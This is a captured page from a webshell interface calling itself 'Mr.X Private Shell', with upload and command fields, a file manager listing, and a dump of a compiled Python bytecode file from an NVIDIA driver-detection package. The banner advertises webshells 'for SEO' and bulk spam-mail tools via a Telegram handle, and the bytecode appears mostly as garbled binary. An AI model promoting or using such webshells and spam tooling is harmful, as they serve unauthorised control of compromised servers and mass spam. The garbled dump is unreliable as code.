__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��f���T�SSKrSSKrSSKJrJrJr "SS\5r"SS\5rg)�N)�Popen�PIPE�CalledProcessErrorc�2�\rSrSrSrSrSrSrSrSr	g)	�MultiArchUtils�c��SSS.UlUR5Ul[URR	55[[URR	55R
UR5(+5Ul[RRS5(dS[RS'gg)N�i386�x86_64)r
�amd64�PATH�/sbin:/usr/sbin:/bin:/usr/bin)�_supported_architectures�_get_architecture�
_main_arch�list�values�int�index�_other_arch�os�environ�get��selfs �=/usr/lib/python3/dist-packages/NvidiaDetector/alternatives.py�__init__�MultiArchUtils.__init__s���17�(�(K��%��0�0�2����� =� =� D� D� F�G��$�t�'D�'D�'K�'K�'M�"N�"T�"T�UY�Ud�Ud�"e�e�f�h����z�z�~�~�f�%�%�!@�B�J�J�v��&�c���[SS5n[SS/[USS9nUR5SnUR	5 UR5nURRU5$)N�	/dev/null�w�dpkgz--print-architectureT��stdout�stderr�universal_newlinesr)�openrr�communicate�close�striprr)r�dev_null�p1�p�architectures     rr� MultiArchUtils._get_architecture(sd����S�)��
�F�2�3�D�"�t�=���N�N��Q��������w�w�y���,�,�0�0��>�>rc��SU-nU$)Nz%s-linux-gnu_gl_conf�)rr/�alternatives   r�_get_alternative_name_from_arch�.MultiArchUtils._get_alternative_name_from_arch1s��,�|�;���rc�8�URUR5$�N)r4rrs r�get_main_alternative_name�(MultiArchUtils.get_main_alternative_name5s���3�3�D�O�O�D�Drc�8�URUR5$r7)r4rrs r�get_other_alternative_name�)MultiArchUtils.get_other_alternative_name8s���3�3�D�4D�4D�E�Er)rrrN)
�__name__�
__module__�__qualname__�__firstlineno__rrr4r8r;�__static_attributes__r2rrrrs��	A�?��E�Frrc�T�\rSrSrSrSrSrSSjrSrSr	S	r
S
rSrSr
S
rg)�Alternatives�<c��SUlSUlSUlXl[R
R
S5(dS[R
S'gg)Nzmesa/ld.so.confzmesa-egl/ld.so.confzupdate-alternativesr
r)�_open_drivers_alternative�_open_egl_drivers_alternative�_command�_master_linkrrr)r�master_links  rr�Alternatives.__init__>sG��):��&�-B��*�-��
�'���z�z�~�~�f�%�%�!@�B�J�J�v��&rc�\�[SS5n/n[URSUR/[USS9nUR5SnUR
5 URS5nUH<nUR5=(a" URUR55 M; M> U$)z0Get the list of alternatives for the master linkr!r"z--listTr$r�
)
r(rrHrIrr)r*�splitr+�append)rr,�alternativesr-r.�c�lines       r�list_alternatives�Alternatives.list_alternativesHs�����S�)����
�D�M�M�8�T�->�->�?��x�D�J���N�N��Q�������
�G�G�D�M���D��J�J�L�>�\�0�0�����>�>���rc�p�[SS5n[URSUR/[USS9nUR5SnUR
5 URS5nUHInUR5RS5(dM)URSS	5R5s $ g
)zGet the alternative in user!r"z--queryTr$rrMzValue:�N)r(rrHrIrr)r*rNr+�
startswith�replace)rr,r-r.rQrRs      r�get_current_alternative�$Alternatives.get_current_alternativeVs�����S�)��
�D�M�M�9�d�.?�.?�@��x�D�J���N�N��Q�������
�G�G�D�M���D��z�z�|�&�&�x�0�0��|�|�H�b�1�7�7�9�9��rNc��U(aURUS5nUR5nUHnURS5SU:XdMUs $ g)zmGet the alternative link by providing the driver name

ignore_pattern allows ignoring a substring in the namerV�/���N)rXrSrN)r�name�ignore_patternrPr3s     r�get_alternative_by_name�$Alternatives.get_alternative_by_namecsR����<�<���3�D��-�-�/��'�K�� � ��%�b�)�T�1�"�"�(�rc�8�URUR5$)z)Get the alternative link for open drivers)r`rFrs r�get_open_drivers_alternative�)Alternatives.get_open_drivers_alternativeqs���+�+�D�,J�,J�K�Krc�8�URUR5$)z2Get the alternative link for open EGL/GLES drivers)r`rGrs r� get_open_egl_drivers_alternative�-Alternatives.get_open_egl_drivers_alternativeus���+�+�D�,N�,N�O�Orc��[R"/SQ5 [R"/SQ5 g![[4a gf=f)z8Trigger gmenu so that the icons will show up in the menu)zdpkg-triggerz--by-package=fakepackage�
gmenucache)r#z--configurez-aN)�
subprocess�
check_call�OSErrorrrs r�update_gmenu�Alternatives.update_gmenuysA��	��!�!�#1�
2��!�!�"?�@���+�,�	��	�s�03�A�Ac���[R"URSURU/5 UR	5 UR
5 g![
a gf=f)z?Tries to set an alternative and returns the boolean exit statusz--setFT)rjrkrHrI�ldconfigrrm)r�paths  r�set_alternative�Alternatives.set_alternative�s[��	��!�!�4�=�=�'�#'�#4�#4�d�#<�
=��M�M�O�	
������"�	��	�s�>A�
A�Ac�T�[R"S/5 g![a gf=f)z
Call ldconfigrpFT)rjrkrrs rrp�Alternatives.ldconfig�s0��	��!�!�:�,�/���"�	��	�s��
'�'c�(�[SS5n[SSU/[USS9nUR5SnUR	5 URS5nUH9nUR
5RS	5(a g
UR
5s $ g
)z0Get the 1st kernel module name matching an aliasr!r"�modprobez--resolve-aliasTr$rrMzUsage:N)r(rrr)r*rNr+rW)r�aliasr,r-r.rQrRs       r�resolve_module_alias�!Alternatives.resolve_module_alias�s�����S�)��
�J� 1�5�9�$�"�t�=���N�N��Q�������
�G�G�D�M���D��z�z�|�&�&�x�0�0���:�:�<���r)rHrIrFrGr7)r=r>r?r@rrSrYr`rcrfrmrrrpryrAr2rrrCrC<s7��A����L�P����rrC)rrjrrr�objectrrCr2rr�<module>r|s0��,
��6�6�F�V�F�Bg�6�gr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 154 B 0644
alternatives.cpython-313.pyc File 8.15 KB 0644
nvidiadetector.cpython-313.pyc File 14.87 KB 0644
Filemanager